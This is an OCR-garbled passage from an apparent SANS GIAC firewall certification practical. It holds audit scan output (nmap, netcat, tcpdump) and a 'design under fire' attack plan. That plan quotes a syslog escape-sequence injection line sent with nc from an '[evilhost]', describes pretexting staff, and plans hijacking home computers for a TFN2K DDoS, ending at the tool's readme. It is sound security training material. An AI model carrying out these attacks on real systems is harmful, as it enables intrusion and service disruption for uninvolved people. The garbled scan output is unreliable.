3.2.3.1 DMZ network to public network access scan
> http/https server scan results

Table 7.3
mmand Prompk _ = iﬁ’i

G:“Program Filessnmapd.58nmap —v —s5 —=R -0 -PB —max_rtt_timeout 18 —-pl-65535 -
n 192.168.98.1

WARMWING: You specified a round-trip time timeout (18 ms> that iz EXTRAORDINARILY
SMALL. Accuracy may suffer.

Starting nmap 3.58 ¢ http:/7wuuw.insecure.orgsnmap » at 2084-83-609 21:89 HMST

Host 192.168.928.1 appears to he up ... good.

Initiating SYMN Stealth Scan against 192.168.98.1 at 21:09

G

GC:“Program Filessnmap3d.58nmap —v —-s5 —=sR -0 -PO —max_rtt_timeout 18 —-pl-65535 -
n 192_168_98.1

WARMWING: You specified a round—trip time timeout (18 ms> that iz EXTRAORDINARILY
SMALL. Accuracy may suffer.

Starting nmap 3.58 ¢ http:/7wuwu.insecure.orgsnmap > at 20084-83-09 21:18 HMST
Host 192 _168.78.1 appears to he up ... good.

Initiating SYMN Stealth Scan against 192.168.98.1 at 21:18

The SYM Stealth Scan took 24 seconds to scan 65535 ports.

Warning: 05 detection will he MUCH less reliable bhecauwuse we did not find at lea
st 1 open and 1 closed TCP port

All 65535 scanned ports on 192.168.98.1 are: closed

Too many fingerprints match thisz host to give specific 085 details

TCPAIP fingerprint:
SInfodlU=3.58:P=i686—pc—windows—windowsxD=39xT ime =484E?553x0=—1xC=1>

TS CResp=N2>

TeCResp=N>

T7¢Resp=H>
PUCResp=¥»DF=NxT0S =81 PLEN=38xRIPTL=148xRI PCK=ExUCK=ExULEM=134»DAT=E>

Hmap run completed — 1 IP address ¢1 host wp) scanned in 32.876 seconds
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» syslog scan results together with Smartview Tracker firewall log

Table 7.4

ommand Prompt

C:~Program Files“nmap3.5@>
C:~Program Files“nmapd.%@>nmap —v —sl —=sR -0 —PA —max_prtt_timeout 18 —pldB-66A8

n 1?22.168.98.1
WARHIHG: You specified a round-trip time timeout €18 ms> that iz EXTRAORDIMARILY|
SHMALL. Accuracy may suffer.

Starting nmap 3.58 ¢ http: //uuu.inﬂecure urg/nmap > at 20848382 22:87 MET
Host 172.168.98.1 appears to be up ... od.

Initiating UDP Scan against 192. 168 2@. 1 at 22:87

The UDP Scan took @ seconds to scan 581 ports.

Adding open port 123 udp

Initiating RPCGrind Scan against 192.168_.98_.1 at 22:87

The RPCGrind Scan took B seconds to scan 1 ports.

Warning: 05 detection will he MUCH less reliable hecause we did not find at le
st 1 open and 1 closed TCP port

Interesting ports on 1922.168.98.1:

CThe 588 ports scanned but not shown below are in state: closed>

PORT STATE SERUICE UERSION

123 udp open ntp

Too many fingerprints match this host to give specific 085 details

TCP-IP fingerprint:
SInfodU=3.58xP=i6B6—pc—windows—windowsxD=3,2«Time=484EA29Cx0=—1xC=—1>

FU{Resp=¥YxDF=M«T05=8<IPLEM=38+*RIPTL=148xRIPCK=ExUCK=ExULEN=134=DAT=E>

Mmap run completed — 1 IP address €1 host wp? scanned in 8_.583 seconds
C:~Program Files“nmapd.%@>nmap —v —s8 —=R -0 —PA —max_prtt_timeout 180 —pldB-6@A8
i

HG: Quu-specified a round-trip time timeout <18 n=> that is EXTRAORDINARILY

L. Accuracy may suffer.

Starting nmap 3.58 { http: Avuw.insecure.orgsnmap > at 2084-83-872 22:88 HMET
Host 192_168_98.1 appears to be up ... good.
Initiating 8¥YN Stealth Scan against 122.168.98.1 at 22:88
The SYN Stealth Scan took 1 second to scan 581 ports.
08 detection will bhe MUCH less »eliable because we did not find at le

= port
Interesting ports on 122.168.98.1:
CThe 5808 ports scanned but not shown below are in state: closed>
FORT STATE SERUICE UERSION
123 tcp filtered ntp
Too many fingerprints match this host to give specific 085 details
TCP-IP fingerprint:
%égﬁu(“=ﬁi5BZP=iE86—pc—uinduws—uinduuszn=3/92Time=4B4EHZD520=—1ZC=1BB)

e s p=

PUCResp=¥Y*xDF=NxTO0S =081 PLEMN=38+RIPTL=148:RIPCE=ExUCK=ExULEN=134xDAT=E>

run completed — 1 IP address (1 host wup) scanned in 7.561 zeconds

As we can see from the above output, only ntp services are allowed out of DMZ.
No syslog service is allowed to leave to public network, which is in accordance
with GIAC firewall security policy.

Table 7.5
Date Time: Origin Service Source Destination Rule Source Pork

SMarz004 2315549 [= giac-toronto <D TCR  ntp-tcp MTP-LCG5-5erver Cisco-Router-Internal 14 43574
9Marz004 23:55:49 [= giac-toronto @ TER  mtp-tcp MNTP-LOG5-Server Cisco-Router-Internal 14 43575
9Marz004 23:55:49 [= giac-toronto @ TEE  ntp-tcp MNTP-LOG5-Server Cisco-Router-Internal 14 43576
9Marz004 23:57:04 [= giac-toronto @ TEE  ntp-tcp MNTP-LOG5-Server Cisco-Router-Internal 14 36532
OMarz004 Z3:57:04 [= giac-toronto $ IEE  ntp-tcp MTP-LOGS-Server Cisco-Router-Internal 14 36533
AMar2004 23:57:15 = [= giac-toronto QD TER  rtp-tcp MTP-LOGS-Server Cisco-Routar-Internal 14 43573
AMar2004 235716 : [= giac-karonka QD TER  rtp-tcp MTP-LOGS-Server Cisco-Routar-Internal 14 43572
AMar2004 23576 [= giac-toronto @ ICh  ntp-tep MTP-LOGE-Server Cisco-Router-Internal 14 43571
10Marz004  0:01:21 = [= giac-toronto @ U rtp-udp MTP-LOG5-Server Cisco-Router-Internal 14 50192
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> dns scan results

Table 7.6

ommand Prompt ) .
C:“Program Filessnmap3._.5@>nmap —v —s5% —=sR -0 —PB —max_wrtt_timeout 18 —pl—-65535 —
n 192 _168.98._1

WARNIHNG: You specified a round—trip time timeout <18 ms> that is EXTRAORDIMARILY
SMALL. Accuracy may suffer.

Starting nmap 3.58 { http: //uuu.in“ecure Drg/nmap > at 2884-03-89 21:89 HMST
Host 192 _168_.98.1 appears to be up ... od.

In1t1at1ng SYN Stealth Scan against 192 168 98.1 at 21:-8%

G

C:sProgram Files“nmapd.5@»nmap —v —s8 —sRB 0 —PB —max_rtt_timeout 18 —pl-65535 —
n 192.168.98.1

WARMING: Youw specified a round—trip time timeout <18 ms?> that is EXTRAORDIMARILY
SMALL. fAccuracy may suffer.

Starting nmap 3.58 < http:-~uvvw.insecure._ org/nmap > at 2884-683-879 21:168 MST
Host 192 _168_.98.1 appears to be up ... go

Initiating S¥YMN Stealth Scan against 192. 168 93 1 at 21:18

The SYM Stealth Scan took 24 seconds to scan 65535 ports

Warning: ©Of detection will bhe MUCH less reliable hecause we did not find at lea
=t 1 open and 1 closed TCP port

A1l 65535 scanned ports on 192_168_98.1 are: closzed

Too many fingerprints match this host to give specific 058 details

TCPAIP fingerprint:
SInfodU=3.58xP=i686—pc—windows—windowsxD=32=Time=484E?2553x0=——-1xC=1>

TS5 (Rezp=MN>

To(Resp=N>

T7C(Resp=H>
PUCResp=Y¥»DF=MNxTO08=8x I PLEN=38»RIPTL=148»RIPCK=ExUCK=ExULEN=134:xDAT=E>

Hmap run completed — 1 IP address {1 host up?> scanned in 32.876 seconds
> smtp server scan results

Table 7.7

C:»Program Files“nmap3.5@>nmap —v —s5 —sR -0 -PA@ —max_rtt_timeout 18 —pl1-65535

n 192.168.98.1

WARNING: You specified a round-trip time timeout (18 ms» that is EXTRAORDIMNARILY
SMALL. Accuracy may suffer.

Starting nmap 3.58 { http: //uuu.inoecure org/nmap > at 2084-83-8% 22:24 MST
Host 192.168.98.1 appears to he up ... od.

Initiating 8YN Stealth Scan against 192. 168 8.1 at 22:24

Adding open port 25/tcp

The S¥H Stealth Scan took 175 seconds to scan 65535 ports.

Initiating RPCGrind Scan against 192.168.98.1 at 22:27

The RPCGrind Scan took 1 second to scan 1 ports.

Warning: 08 detection will he MUCH less reliable hecause we did not find at le
st 1 open and 1 closed TCPF port

For 085Scan assuming that port 25 is open and port 34269 is closed and neither ar
e firewalled

Insufficient responses for TCP sequencing (B>, 08 detection may be less accurate

For 08Scan assuming that port 25 is open and port 32672 is closed and neither ar
e firewalled
Insufficient responses for TCP sequencing (B>, 08 detection may be less accurate

For 08Scan assuming that port 25 is open and port 41894 is closed and neither ar
e firewalled
Insufficient responses for TCP sequencing (B>, 08 detection may be less accurate

Interesting ports on 192.168.90.1:

{The 65534 ports scanned but not shown below are in state: filtered>
PORT STATE SERVICE UERSION

25/tcp open smtp

Too many fingerprints match this host to give specific 08 details
TCP-IP fingerprint:
SIinfodlU=3_58xP=i686—pc—windows—windowsxD=3-2xT ime =4B4EA7S Fx0=25xC=—1>
T1{Resp=N>

T2{Resp=H>

T3{Resp=N>

T4{Resp=M>

TS5 {Resp=N>

Te{Resp=H>

T7{Resp=N)>

PU{Resp=H>

Mmap run completed — 1 IP address <1 host wup? scanned in 186.79? szeconds
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» Windump command output of captured smtp traffic, together with netcat
command listening on port 25

Table 7.8

tA7:18.198711 IP <(tos BxA, ttl 128, id 51429, len 56> 192_168.98.6 > 192.168.
A.1: dicmp 36: 192_168.98.6 wdp port 137 unreachahle
21:87:11.694568 IPF (tos BxA, ttl 128. id 8146, len 78> 192.168.90.1.137 > 192.16

8.70.6.137: [uwdp sum okl wdp 58
21:87:11 694895 IP <tos Bx@, ttl 128, id 41848, len 56> 192_168.98.6 > 192_168.
A.1: icmp 36: 122.168.98.6 wdp port 137 unreachable

t@7:13.196724 IP <tos Bx@, ttl 128, id 8147, len 78> 192_168.980.1.137 > 192_16
8.70.6.137: [udp sum ok] udp 58
21:87:13.197181 IP <{tos BxA, ttl 128, id 21387, len 56> 192_168.98.6 > 192_168.
A.1: icmp 36: 192.168.98.6 udp port 13? unreachahle
21:87:415. 153923 arp wvho—has 192_168_.98.1 tell 192.168_.98.2
21:87:15.15326% arp reply 122.168.98.1 is—at B:58:4:cd:7?:-eB
21:07:27.993848 IP <{tos Bx@A. ttl 127. id 62681. len 48> 192_168.98.6.1361 > 192.
168.98.1.25: tcp @ (DF>
21:87:27.993924 IP <(tos BxA, ttl 128, id 8148, len 48> 192.168.760.1.25 > 192 _16%
.98.6.1361: tcp B
21:87:28 424235 IP <(tos BxB, ttl 127. id 19455, len 48> 192_168.98.6.1361 > 192,
168.98.1.25: tcp B (DF>

tA7:28.424381 IP (tos BxB. ttl 128, id 8149, len 48> 192.168.90.1.25 > 192.16H
98.6.1361: tcp B
21:-87:28_ 924958 IP <tos Bx@, ttl 127, id 49962, len 48> 192_168.98.6.1361 > 192.
168.98.1.25: tcp B <DF>
21:87:28_925828 IP <(tos Bx@, ttl 128, id 8158, len 48> 192_.168.968.1.25 > 192 _ 168
98.6.1361: tcp B

C:swnetcat>ipconfig
Windows 28608 IP Configuration
Ethernet adapter Local Area Connection:

Connection—specific DNS Suffix

IP Address. - . .« -« « & & & o = 192.168.98.1
Subnet Mask . . . . - . . . . . 255 255255248
Default Gateway . . . . . . . . 192 .168.78.2

C:wnetcat>nc -1 —v -t —p 25

lizstening on [any]l 25 ...

1922.168.98.6:- inverse host lookup failed: h_errno 11884: NO_DATA
connect to [A.A.A.8] from C(UNMKNHOWN> [192.168.98.61 36121: NO_DATA

and firewall logs:

Table 7.9
Date Time: Origin Service Source Destination Rule Source Pork
SMarz004 231658 Bm = giac-taronta <D TCh  smitp MAIL-Server Cisco-Router-Internal 12 42629
9Marz004 23:15:44 [= giac-toronto @ TER  =mtp MAIL-Server Cisco-Router-Internal 12 36121
9Marz004 23:19:02 [= giac-toronto @ TEE  cmtp MaIL-Server Cisco-Router-Internal 12 1361
OMarz004 za19:03 B8 [=  giac-toronto $ TEE  cmtp MAIL-Server Cisco-Router-Internal 12 1361
AMar2004 2a9ns BEE & giac-karonka Q_D TEE =g MAIL-Server Cisco-Routar-Internal 12 1361
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3.2.3.2 DMZ network to internal network access scan
We run netcat utility on internal exchange server below:

Table 8.0

C=~netcat>
C-wnetcat>ipconfig

Windows 28060 IP Configuration

Ethernet adapter Local Area Connection:

Connection—specific DHS Suffix

IP Address. . . . . 1?22 . 168.30.2
Subnet Mask . . . . 255 .255.255.8
Default Gateway . . 192 _.168.38.254

C-wnetcat>nc —wv -1 —t —p 25 <smtp.txt

listening on [any] 25 ..

192 _.168_98_6: inverse host lookup failed: h_errno 11884: HWO_DATA
connect to [1922_168_36.21 from <{UHKHOWM> [192_168_96.61 2293: NHO_DATA

and execute telnet command (telnet 192.168.30.2 25) on DMZ smtp server to
connect to internal exchange server on port 25, which is successful by observing
the telnet output below:

Table 8.1

Success???
You've connected to GIAC SMTP server

C:wnetcat>ipconfig

Windows 280A IP Configuration

Ethernet adapter Local Area Connection 3:
Connection—specific DNS Suffix
IF Address. . . . . . R R 192.168.

Subnet Mask . . . . . S S AL AL 255 24B
Default Gateway . . . e — 122 _168 . 68.14

below, we can see that smtp connection from DMZ smtp server to another
internal network IP address (192.168.30.30) is not allowed:

Table 8.2

% | Command Prompt
Crwnetcat>ipconf ig

Windows 2888 [F Configuration

Ethernet adapter Local Area Connection 3=

Connection 4DEF1flL DHS Suffix

IP Addr . 192 168 .608.4
Subnet M . . - . 255 255 255,248
Default Gateway . . - - s 192.168.68.14

C:swnetcattelnet 192.168.38.30 25
Connecting To 192.168.38.38...Could not open & connection to host on port 25
onnect failed
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3.2.4 Test GIAC firewall policy from internal network perspective
3.2.3.1 Internal network to DMZ network access scan
First, we execute netcat command on DMZ smtp server to listen on port 25:

Table 8.3

ommand Prompt

C:wnetcat*ipconfig

Windows 20HA IP Configuration
Ethernet adapter Local Area Connection 3:

Connection—specific DHS Suffix

IP Address. . - . . . . . . . . 192 168 . 68._4
Subnet Mask: o oindidd i i ia 255255 _255.248
Default Gateway . . . . . . . . 192 168 _68_14

C:wnetcat>nc —1 —uv -t —p 25 {smtp.txt

listening on [any]l 25 ...

192 _168_.98.14: inverse host lookup failed: h_errno 11884: NO_DATAH
connect to [192.168.68.4]1 from C(UNKNOWN)> [1972.168.98.141 18882: NO_DATA

then we try to connect to that server from the GIAC exchange server located in
internal network by executing telnet command (telnet 192.168.90.6 25), and as
we can see from the output below, connection was successful:

Table 8.4

Success ¢

You'wve connected to GIAC SMIP server

Coswnetcat Fdpconf dg

Windows 2088 IF Configuration

Ethernet -"_i_l':'_-"_i_l'l":l‘:'l;‘ Local Arca Connections
Connection pecific DHE Swifix
IF Addee o e

Subnet Mask .-. o c - =
Defanlt Gateway . o c

192 168 _38_2
25 55 .255 .8

192.168.38.2541

Next we pick up another internal network address (192.168.30.30 in this case)
and try to perform the same type of smtp test using telnet command to DMZ smtp
server listening on port 25:

Table 8.5

Cisnetcat>ipoconf ig
WHindows 2888 IF Configuration

Ethernet adapter Local Area Connectiomn:

Connection—specific DHS Suffix ~
IP Address. . . . . . = 192.168.20.308
Subnet Has: - - - : 255.255.255.8

Default Gateway . - - - s 192.168.38.254

telnet 1%92_168.%0.6 25 R -
g To 192.168_98.6...Could not open a connection to host on powrt 25 =
nnect failed

73
© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.



As we can see from the above output, GIAC workstation is not able to connect to
DMZ smtp server and furthermore, firewall logs below confirm this outcome:

Table 8.6

T Date | Nl Tm Y| Y| T Crigin | Y| Y| Y| T Service | T Source | " Destination | T Rule | T Source Por
FMarz004  19:47:19 B [ giac-toronto 1] @ I® suip qgui-client-giac-taronta MAIL-Server 17 1139
FHMar2004 1mEE:45 B [= giac-toronko I @E smkp MAIL-Server gui-client-giac-toronka 17 2296
FMarz004 105641 2 [= giac-taronto I @E smtp MAIL-Server gui-client-giac-toronko 17 2297

3.2.3.2 Internal network to public network access scan

» Scan diagram

PUEBLIC

1921 GH.S0.1 %7

< brozzmvereants

5
E
ar

i

GlCFIREWOLLL

192.168.30.30

» Nmap command

nmap —v —-sS —sR —P0 —max_rtt_timeout 10 —p1-65535 —n 192.168.90.1

where:

v — verbose option to show more information while executing the
command

sS - SynStealth type of scan

sU — UDP type of scan

SR — RPC (Remote Procedure Call) scan

PO — do not ping the scanned IP

p1-65535 — scan all ports

n — do not perform IP address resolution
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Table 8.7

C:“Program Filesnmap3d.%BXnmap —v —=5 —=zR -P@ ——max_prtt_timeout 18 —pl-65535 —n

192.168.98.1
HEENING: You specified a round—-trip time timeout {18 mz> that iz EXTRAORDINARILY
ALL. Accuracy may suffer.

Starting nmap 3.58 ¢ http:-s- uwy.insecure.orgsnmap > at 2084-A3-05 B@:44 MST
Host 192.168.98.1 appears to be up ... good.
Initiating 5¥N Stealth Scan against 192_.168.978_.1 at A@:-44
The S5YN Stealth Scan took 174 seconds to scan 65535 ports.
Interesting ports on 192_168.90.1:
(The 65532 ports scanned but not shown below are in state: filtered)
STATE SERVICE UERSION
clozed ftp
closed http
443 tcp closed https

Mmap run completed — 1 IP address €1 host up? scanned in 174.281 seconds

As we can see above all three ports that internal network is allowed to connect
on the public side show as closed. Reason for this was no netcat running on the
public side (in our case GIAC border router internal IP address of 192.168.90.1),
simulating ftp, http and https servers. Still we can see that ftp, http and https type
traffic is allowed to pass by looking at SmartView Tracker log and log record
details below:

Table8.8 |
T Mo | T Date | T Time | Yl Yl T Origin I| Yl Yl Yl T Service | T Source T Destination | T Rule | T Source Part
4365 SMarz004 29450z BR [= giac-taronto El @ IEE fip internal-nmap-scan Cisco-Router-Internal & 51433
5914 SMarz004 2:45:03 B [ giac-toronko @ ICE  hitp internal-nmap-scan Cisco-Router-Internal & 51433
115091 SMar2004 246:14  BR [= giac-taronto @ IEP  https internal-nmap-scan Cisco-Router-Internal & 51433
Table 8.9
x| T S x
Frevinus Blest Copy More Cobamng < Preous Hesd Copw Wi e Cighineis
Humber 4353 b= S:e
Dat= Shiarzid Dale w20
Time el 41 Tirea HAE02
Product B8 WEN-1 & Fieeal Fioducl B8 WPH-1 LFwewel
Ieiface  [= athl mieface  [= ehl
Digin giac-donontn [152 152 30 254) Drigin gac-botordn [192 168 30 254
Tipe [E] Log i [ Ly
Acticn GI Accepl Aachon {;I Mcoeph
Prelozel  TE2 lcp Fiohocol  TCF Iep
Seivice p 1) Eervice hip 20
Soinps Fhainal-amap-acan (150185 30013 Cics mdaindhninspacan [152 TEE 0T
Draztination CistoSoibadatemal 192 168.9001) Ddiralivn Eiou Aot o ituel [152 185.301)
R 2 Ruda ]
SewrpsPot 1423 Epaea Pt B33
Use Loy
Infoimslion Flomayion
Fobcy Irlo Polcy Hans ciarakl Pobicy Info Pz Mams ingna1
Copated o The M U4 19005:28 2004 Liesled st Tha Ha 084 130828 2004
Ingtaad o giac-lworls Irztalled hiom: glac-tosonio
Chosn Finea
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Table 9.0

%
o Preveings = Med Cofy Wigre Cobains
Migshier 115091
Dals 2200
Time HdE1d
Froduct 22 WPHA 4 Faplwiald
Inbalacs = o
Diriginy gac-toronhe 192 183,30 .254]

Tupz 2] Lea

Adion @ Agregl
Prolnood  EEE icp
Seqice ttpe: [443]

S nleraknmag-ssan (152 165.3013)

Destmation Cisze-RoutsrInfsmal [132163.50.1)

Rl B

Sowce Pot B1433

Uzzt

Inéoimation

Pokiciy It Pobizy Many: onginal1
Craated st Tho Ma 04 130825 2004
Instalied fiom: gisc-loronio

Clse

3.2.6 Firewall NAT test

This test should show the NAT translations inside GIAC firewall for public and
internal network access. For this, <fw monitor> command will be run on GIAC
firewall and its output will be redirected to a file. Two tests will be run:

One test from public address to GIAC http/https server (192.168.90.3) using
internal router interface as a source, the other from GIAC internal network GUI
workstation (192.168.30.30) to a public address. Results of these tests are
presented below:

Public to https server:

eth2:i[48]: 192.168.90.1 -> 192.168.90.3 (TCP) len=48 id=11141
TCP: 1087 -> 443 .S.... seq=ce50296¢c ack=00000000
eth2:1[48]: 192.168.90.1 -> 192.168.60.1 (TCP) len=48 id=11141
TCP: 1087 -> 443 .S.... seq=ce50296¢c ack=00000000
eth2:i[48]: 192.168.90.1 -> 192.168.90.3 (TCP) len=48 id=11142
TCP: 1087 -> 443 .S.... seq=ce50296¢c ack=00000000
eth2:1[48]: 192.168.90.1 -> 192.168.60.1 (TCP) len=48 id=11142
TCP: 1087 -> 443 .S.... seq=ce50296¢c ack=00000000
eth2:0[76]: 192.168.90.2 -> 192.168.90.1 (ICMP) len=76 id=62953
ICMP: type=3 code=1 unreachable (host)

192.168.90.1 -> 192.168.60.1 (TCP: 1087 -> 443) ipid=11141
eth2:0[76]: 192.168.90.3 -> 192.168.90.1 (ICMP) len=76 id=62953
ICMP: type=3 code=1 unreachable (host)

192.168.90.1 -> 192.168.90.3 (TCP: 1087 -> 443) ipid=11141
eth2:0[76]: 192.168.90.2 -> 192.168.90.1 (ICMP) len=76 id=62954
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ICMP: type=3 code=1 unreachable (host)

192.168.90.1 -> 192.168.60.1 (TCP: 1087 -> 443) ipid=11142
eth2:0[76]: 192.168.90.3 -> 192.168.90.1 (ICMP) len=76 id=62954
ICMP: type=3 code=1 unreachable (host)

192.168.90.1 -> 192.168.90.3 (TCP: 1087 -> 443) ipid=11142

Internal to public:

eth0:1[60]: 192.168.30.30 -> 192.168.90.1 (ICMP) len=60 id=21838
ICMP: type=8 code=0 echo request id=512 seq=2816

eth2:0[60]: 192.168.30.30 -> 192.168.90.1 (ICMP) len=60 id=21838
ICMP: type=8 code=0 echo request id=512 seq=2816

eth2:0[60]: 192.168.90.14 -> 192.168.90.1 (ICMP) len=60 id=21838
ICMP: type=8 code=0 echo request id=10002 seq=2816

eth0:i[60]: 192.168.30.30 -> 192.168.90.1 (ICMP) len=60 id=35415
ICMP: type=8 code=0 echo request id=512 seq=3072

eth0:1[60]: 192.168.30.30 -> 192.168.90.1 (ICMP) len=60 id=45783
ICMP: type=8 code=0 echo request id=512 seq=3072

eth2:0[60]: 192.168.30.30 -> 192.168.90.1 (ICMP) len=60 id=45783
ICMP: type=8 code=0 echo request id=512 seq=3072

eth2:0[60]: 192.168.90.14 -> 192.168.90.1 (ICMP) len=60 id=45783
ICMP: type=8 code=0 echo request id=10002 seq=3072

By reviewing these results we see NAT translation happening in accordance to
the hide and static NAT implementation.

3.2.7 NetBIOS traffic test

Next test will verify if all NBT traffic is being dropped by the firewall. Tcpdump will
be used simultaneously on internal, and external interface.
This traffic is not being logged, so no SmartviewTracker output is shown:

Internal interface ethO:
tcpdump —i ethO host 192.168.30.30

16:01:12.866322 192.168.30.30.netbios-ns > 192.168.30.255.netbios-ns: NBT
UDP PACKET(137): QUERY; REQUEST; BROADCAST
16:01:13.613404 192.168.30.30.netbios-ns > 192.168.30.255.netbios-ns: NBT
UDP PACKET(137): QUERY; REQUEST,; BROADCAST
16:01:14.364528 192.168.30.30.netbios-ns > 192.168.30.255.netbios-ns: NBT
UDP PACKET(137): QUERY; REQUEST; BROADCAST
16:01:17.119017 192.168.30.30.netbios-ns > 192.168.30.255.netbios-ns: NBT
UDP PACKET(137): QUERY; REQUEST; BROADCAST
16:01:17.869889 192.168.30.30.netbios-ns > 192.168.30.255.netbios-ns: NBT
UDP PACKET(137): QUERY; REQUEST; BROADCAST
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16:01:18.621032 192.168.30.30.netbios-ns > 192.168.30.255.netbios-ns: NBT
UDP PACKET(137): QUERY; REQUEST; BROADCAST
16:01:21.375507 192.168.30.30.netbios-ns > 192.168.30.255.netbios-ns: NBT
UDP PACKET(137): QUERY; REQUEST; BROADCAST
16:01:22.126410 192.168.30.30.netbios-ns > 192.168.30.255.netbios-ns: NBT
UDP PACKET(137): QUERY; REQUEST; BROADCAST

25 packets received by filter
0 packets dropped by kernel

tcpdump —i eth2 host 192.168.30.30

0 packets received by filter
0 packets dropped by kernel

Again, this conforms to GIAC firewall policy of dropping unwanted NetBIOS traffic
to prevent logs from filling up.

3.3 Audit overall results

GIAC firewall audit results proved to be successful. After all 65535 ports were
scanned; there were a few ports that should be exclusively blocked on the
firewall, including port 707 (Borland) tcp and udp as well as public access to
Checkpoint firewall ports 18264, 18191 and 264. Besides these, all other firewall
security and set up aspects were considered as properly implemented. However
the audit pointed out the danger of having syslog and database servers in DMZ.
Especially database server brought the attention of the auditors.

3.4 Audit recommendations

In the near future GIAC IT staff should consider moving DMZ database server
out and in to internal network and utilizing an application proxy server in DMZ to
handle database transactions. Another thing for GIAC to consider is to provide
some sort of redundancy for the firewall either by installing a second firewall and
setup a cluster (Stonebeat might be one of the solutions) and topping this up with
load balancing in front of the firewalls

At this stage, the financial situation does not allow GIAC to implement these
changes, but providing good business from selling “fortune cookies” on line will
prove successful, this could become reality in not so distant future.
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Assignment 4
DESIGN UNDER FIRE

For this purpose | had chosen network design of Eu Jin, Justin Ng from 24™ of
October 2003, v2.0, practical assignment 0451

http://www.qgiac.org/practical/GCFW/EuJin JustinNg GCFW.pdf

Diagram for this network was copied and pasted below:

192 168 54.0/24 192.1828.64.1 Enterprises

]

|

i 1 LAN
(GENet)

:

[ N i et A

: WBOT

1 58.84.22 12

BOWBD
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B s . . L T

Intranet

{GEIntranet)
[

Figure 1: GIAC Enterprises Network Diagram

4.1 GATHER AS MUCH INFORMATION AS POSSIBLE

From the hacker perspective this is the first and most important thing to do.
Research, research and more research. Checking domain registration sites
should provide me with GIAC registration information. Also checking publicly
available GIAC website should reveal some more information about the
company, specifically e-mail contacts, phone numbers etc. Using this information
it is possible to find out some more information about GIAC publicly accessible
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network, including DNS server(s) and actual security implementation by
executing “social engineering” tactics.

One of them would involve obtaining sales department phone numbers,
contacting GIAC sales department and pretend that | represent one of the
publicly known security company trying to learn about GIAC existing security
implementation.

Another option would be use wildly available <whois> command to obtain
network addresses used by GIAC Enterprise. Having some ip addresses to work
with, I'd use “safe” machine to do some Nmap scanning which could possibly
reveal some information about any open ports

4.2 Attack the Firewall

As this practical assignment states, the firewall software is based on Checkpoint
NG FP3 Code with hotfix2 applied.
By researching for vulnerabilities against this code | found the following:

Note 11: Any direct quotes from other sources will be shown in ITALIC
text

http://www.securityfocus.com/bid/7161/info

Check Point FW-1 Syslog Daemon Unfiltered Escape Sequence
Vulnerability:

“Vulnerability: Syslog messages containing escape sequences directed to
syslog daemon of Check Point FW-1 NG FP3 (including HF1 and Hf2) remain
unfiltered and can cause strange output behaviour if log is viewed on
console.

Tested version and platform:
Check Point FW-1 NG FP3 (also with HF1 or HF2) on Red Hat Linux 7.3
running kernel 2.4.9-34

Syslog message from network is not checked against non-printable
characters, therefore if log is viewed on console, you can no longer trust
the visual output at all.

Instructions for demonstration:
Enable receiving of syslog from remote by FW-1 like e.g. described above.

View log on console by running following command:
[firewall]# fw log -nfnl
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Send some special escape sequences via syslog, e.g.
[evilhost]# echo -e "<189>19: 00:01:04:
Test\a\033[2J\033[2;5m\033[1;31mMHACKER~
ATTACK\033[2;25m\033[22;30m\033[3q" | nc -u firewall 514

Take a look at the console again, but don't be scared too much for now...
Press CTRL-C and reset the console to standard by executing:
[firewall]# reset

Attackers might send many "special”" escape sequences, for Linux as
destination see "man console_codes" for more.

Note: Standard syslog daemon on a RHL 7.3 system treats code like this as
shown here:

Mar 14 13:29:30 linuxbox 19: 00:01:04: Test*"G"[[2IM[[2;5m"[[1;31mHACKER
ATTACK "[[2;25m"[[22;30m"[[3q

Solutions to prevent unfiltered console output:

- Filter log output by using "tr" like:

[firewall]# fw log -tfnl | tr \O00-\011\013-\037\200-\377" *'

(all chars with ASCII codes from decimal 0-31 and 128-255 except 10 for LF
are replaced by a ™)

Update Check Point's syslog daemon to newer version once again, when
available. *

Although this vulnerability describes Red Hat7 as the underlying OS, | could
assume that same threat could exist under Windows NT server even though the

escape sequences could be different, I'd still try to execute this venerability and
try to compromise GIAC firewall

4.3 DDoS attack

| will execute TFN2K Mix Flood DDoS attack against GIAC public web server,
which is the core of GIAC’s business, therefore crippling and/or disabling its
revenue making structure

Here are the quick introduction comments on being “always on-line” taken from:

http://www.aaxnet.com/topics/secdsl.html

“Cable Modem service has additional network security problems because you
are on a LAN (Local Area Network) with everyone else on that leg of the cable.
This can make invasion of your computer fairly simple. Some cable providers
encrypt network traffic to prevent this, others don't. If you are networked in your
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office using the Windows default settings, your hard disks, printers and other
resources may even show up in other people's "Network Neighborhood".

» DSL and Cable Modem Internet connections are "always on".
Effectively, you have a "static" IP address, making you an easy
invasion target.

» DSL and Cable Modems put your internal network at the service of
the access provider. They configure it for their needs, which may
disrupt your internal services.

» "Back Orifice" type tools propagate like viruses. If a computer on
your network gets infected, it emails your IP address and
passwords to the perpetrator. "Security through Obscurity” no
longer exists.

» Thousands of "script kiddies" now download sophisticated "point
and click" invasion tools that automatically search for exposed
computers to play with.

» TCP/IP is rapidly displacing NetBIOS and IPX on office networks
making the entire network accessible from the Internet.

» The rise of an Internet criminal class. Wherever there is an easy
vulnerability, lowlife is attracted to it. Data theft and data blackmail
are becoming common, and "industrial espionage" is an
aggressively marketed service. *

To execute this type of attack, | establish cable connection to the Internet using
one of the national service providers to “inject” malicious code into unsuspecting
machines. Most peer-to-peer networks have NO built-in security and/or
authentication to prevent me from doing this type of hack. After being connected
for more than a week, | noticed that my IP address assigned by the provider
stayed the same. In fact, I'm able to scan suitable machines very quickly just by
doing internet based nslookup query on a few subnets for a period of one week,
determining that virtually hundreds of IP addresses from mine and other subnets
didn’t change at all. Many cable/dsl connected computers stay under the same
IP addresses even though these are service provider dhcp assigned. This
“feature” enables me to scan the suitable machines much faster. Once | have at
least 1000 “static” ip addresses scanned, | will use nmap to scan for Operating
System fingerprints, which will determine suitability for TFN2K server daemon
injection. Here, I'm specifically looking for Windows based machines. The
following nmap command is utilized:

nmap -sS —P0O -O -T 3 XXX.XXX.XXX.XXX

where:

sS — SynStealth scan; PO — do not ping; O — try to determine Operating System,;
T 3 — normal throttle; xxx.xxx.xxx.xxx — IP address of the victim obtained earlier.
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Once this is done, | download Tribal Flood 2K network dae mon from:

http://www.twistedinternet.com/archive-files/Exploits/Denial-of-Service/

Below is an excerpt of usage taken from downloaded <readme> file, which
explains all the details on how to implement and execute TFN2K attack:

“  Tribe FloodNet 2k edition

Distributed Denial Of Service Network

(c) Mixter <mixter@newyorkoffice.com>
Contents:

0. About

1. Feature description

2. Compilation

3. Installation

4. Using the client

